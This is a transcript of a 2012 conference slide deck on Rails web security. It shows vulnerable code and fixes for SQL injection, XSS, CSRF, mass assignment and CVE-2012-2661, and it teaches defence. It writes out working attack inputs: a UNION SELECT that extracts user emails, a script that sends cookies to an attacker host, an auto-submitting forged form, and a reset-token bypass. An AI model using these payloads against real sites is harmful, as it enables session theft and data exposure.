+ All Categories
Home > Technology > Web Application Security in Rails

Web Application Security in Rails

Date post: 15-May-2015
Category:
Upload: uri-nativ
View: 1,119 times
Download: 3 times
Share this document with a friend
Description:
Talk I gave in RailsIsrael 2012 conference
Popular Tags:
48
WEB APPLICATION SECURITY IN RAILS Uri Nativ RailsIsrael 2012
Transcript
Page 1: Web Application Security in Rails

WEB APPLICATION SECURITY IN RAILS

Uri Nativ RailsIsrael 2012

Page 2: Web Application Security in Rails

Uri Nativ @unativ

Head of Engineering

Klarna Tel Aviv

#railsisrael

Page 3: Web Application Security in Rails

Buy Now, Pay Later

1.  Shop online 2.  Receive your goods 3.  Pay

Page 4: Web Application Security in Rails

Alice

Page 5: Web Application Security in Rails

Bob

Page 6: Web Application Security in Rails

Alice and Bob

Page 7: Web Application Security in Rails

Alice and Bob

Page 8: Web Application Security in Rails

Alice and Bob

Like Duh?

Page 9: Web Application Security in Rails

Alice and Bob

<html> <title> MicroBlogging </title> ...

#$@# %#@&*#$

Page 10: Web Application Security in Rails

Alice and Bob

Hack it!

Page 11: Web Application Security in Rails

SQL INJECTION

Page 12: Web Application Security in Rails

@results = Micropost.where( "content LIKE '%#{params[:query]%’”).all

SELECT 'microposts'.*

FROM 'microposts’ WHERE (content LIKE ’%SEARCHSTRING%’)

SQL Injection

Page 13: Web Application Security in Rails

SELECT 'microposts'.* FROM 'microposts' WHERE (content LIKE '%SEARCHSTRING%')

SQL Injection

XXX') UNION SELECT 1, email, 1, 1, 1 FROM users --

Page 14: Web Application Security in Rails

SELECT 'microposts'.* FROM 'microposts' WHERE (content LIKE '%XXX') UNION SELECT 1, email, 1, 1, 1 FROM users -- %')

SQL Injection

Page 15: Web Application Security in Rails

SELECT 'microposts'.* FROM 'microposts' WHERE (content LIKE '%XXX') UNION SELECT 1, email, 1, 1, 1 FROM users -- %')

SQL Injection

Page 16: Web Application Security in Rails

@results = Micropost.where( "content LIKE ?’, "%#{params[:query]}%”) ).all

SQL Injection - countermeasures

Page 17: Web Application Security in Rails

CROSS SITE SCRIPTING

XSS

Page 18: Web Application Security in Rails

<span class="content"> <%= raw feed_item.content %>

</span>

XSS

Page 19: Web Application Security in Rails

<script> document.write('<img src= "http://www.attacker.com/x.png?' + document.cookie + ’” >'); </script>

XSS

Page 20: Web Application Security in Rails

<span class="content"> <%= sanitize feed_item.content,

:tags => ['a’] %>

</span>

XSS - countermeasures

Page 21: Web Application Security in Rails

The Attack: Execute arbitrary code / defacement JSON is not escaped by default CSS can be injected as well

Countermeasures:

Never trust data from the users Use Markdown (e.g. Redcarpet gem)

XSS

Page 22: Web Application Security in Rails

CROSS SITE REQUEST FORGERY

CSRF

Page 23: Web Application Security in Rails

www.blog.com

CSRF

1

Page 24: Web Application Security in Rails

www.blog.com

2

Click here for free iPad

www.freeiPad.com <form name=“evilform”

action=“www.blog.com/….”> …

<script> document.evilform.submit()

</script>

CSRF

Page 25: Web Application Security in Rails

www.blog.com

www.freeiPad.com <form name=“evilform”

action=“www.blog.com/….”> …

<script> document.evilform.submit()

</script>

CSRF

3

Page 26: Web Application Security in Rails

www.blog.com

www.freeiPad.com <form name=“evilform”

action=“www.blog.com/….”> …

<script> document.evilform.submit()

</script>

POST /blogpost Content=“Kick Me!”

CSRF

4

Page 27: Web Application Security in Rails

<input name ="authenticity_token” type ="hidden” value ="vyFdEgofzU4oSJJn5wypxq4“

/>

CSRF – Authenticity Token

Page 28: Web Application Security in Rails

routes.rb match '/delete_post/:id',

to: 'microposts#destroy'

CSRF

Page 29: Web Application Security in Rails

class ApplicationController < ActionController::Base

# commented to easily test forms # protect_from_forgery ... end

CSRF

Page 30: Web Application Security in Rails

The Attack: Attacker send requests on the victim’s behalf Doesn’t depend on XSS Attacked doesn’t need to be logged-in

Countermeasures:

Use Rails CSRF default protection (do not override it) Use GET for queries Use POST/DELETE/… when updating data Add Sign-out link

CSRF

Page 31: Web Application Security in Rails

RAILS SPECIFIC ATTACKS

Page 32: Web Application Security in Rails

MASS ASSIGNMENT

boo[gotcha!]

Page 33: Web Application Security in Rails

def create @user = User.new(params[:user]) ... end

Mass Assignment

Page 34: Web Application Security in Rails

def create @user = User.new(params[:user]) ... end

Mass Assignment

{ :name => “gotcha”, :admin => true }

Page 35: Web Application Security in Rails

Blacklist class User < ActiveRecord::Base attr_protected :admin ... end

Mass Assignment - countermeasures

Page 36: Web Application Security in Rails

Whitelist class User < ActiveRecord::Base attr_accessible :name, :email, :password, :password_confirmation ...

Mass Assignment - countermeasures

Page 37: Web Application Security in Rails

Global Config (whitelist) config.active_record.

whitelist_attributes = true

Mass Assignment - countermeasures

Page 38: Web Application Security in Rails

The Attack: Unprotected by default :(

Countermeasures:

Whitelist Blacklist Strong Parameters (whitelist) Rails 4 Logic moved to the controller Available as a Gem

Mass Assignment

Page 39: Web Application Security in Rails

SQL INJECTION VULNERABILITY IN RUBY ON RAILS (CVE-2012-2661)

Page 40: Web Application Security in Rails

User.where( :id => params[:user_id], :reset_token => params[:token]

) SELECT users.* FROM users WHERE users.id = 6 AND users.reset_token = ’XYZ' LIMIT 1

CVE-2012-2661 SQL Injection

Page 41: Web Application Security in Rails

/users/6/password/edit?token[] SELECT users.* FROM users WHERE users.id = 6 AND users.reset_token IS NULL LIMIT 1

CVE-2012-2661 SQL Injection

Page 42: Web Application Security in Rails

The Attack: SQL Injection - Affected version: Rails < 3.2.4

Countermeasures:

Upgrade to Rails 3.2.4 or higher

CVE-2012-2661 SQL Injection

Page 43: Web Application Security in Rails

------------------------------------------------- | Warning Type | Total | ------------------------------------------------- | Cross Site Scripting | 2 | | Cross-Site Request Forgery | 1 | | Denial of Service | 1 | | Redirect | 1 | | SQL Injection | 4 | -------------------------------------------------

Brakeman

Page 44: Web Application Security in Rails

CONCLUSIONS

Page 45: Web Application Security in Rails

Make Love not War

Page 46: Web Application Security in Rails

Know the threats – OWASP top 10 Follow Rails conventions Ruby on Rails Security Guide

http://guides.rubyonrails.org/security.html

The Ruby on Rails security project

http://www.rorsecurity.info

Rails security mailing list:

http://groups.google.com/group/rubyonrails-security

Conclusions

Page 47: Web Application Security in Rails

Daniel Amselem for pair programming Irit Shainzinger for the cool graphics Michael Hartl for his microblogging app tutorial

Thanks to…

Page 48: Web Application Security in Rails

Pay Online – Safer and Simpler

https://github.com/unativ/sample_app


Recommended